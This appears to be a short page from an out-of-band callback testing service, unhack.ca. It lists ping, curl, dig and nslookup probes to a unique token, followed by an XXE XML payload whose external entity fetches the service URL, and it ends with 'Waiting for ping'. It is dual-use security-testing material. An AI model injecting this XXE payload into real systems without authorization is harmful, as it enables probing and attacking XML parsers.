$ ping -c1 -p 0027240eddd76347760602602481cb00 unhack.ca
 
$ curl http://unhack.ca/p/27240eddd76347760602602481cb
 
$ dig 27240eddd76347760602602481cb @unhack.ca
 
$ dig 27240eddd76347760602602481cb.ns.unhack.ca
 
C:\> nslookup 27240eddd76347760602602481cb unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/27240eddd76347760602602481cb">]>
    <foo>&xxe;</foo>
Waiting for ping...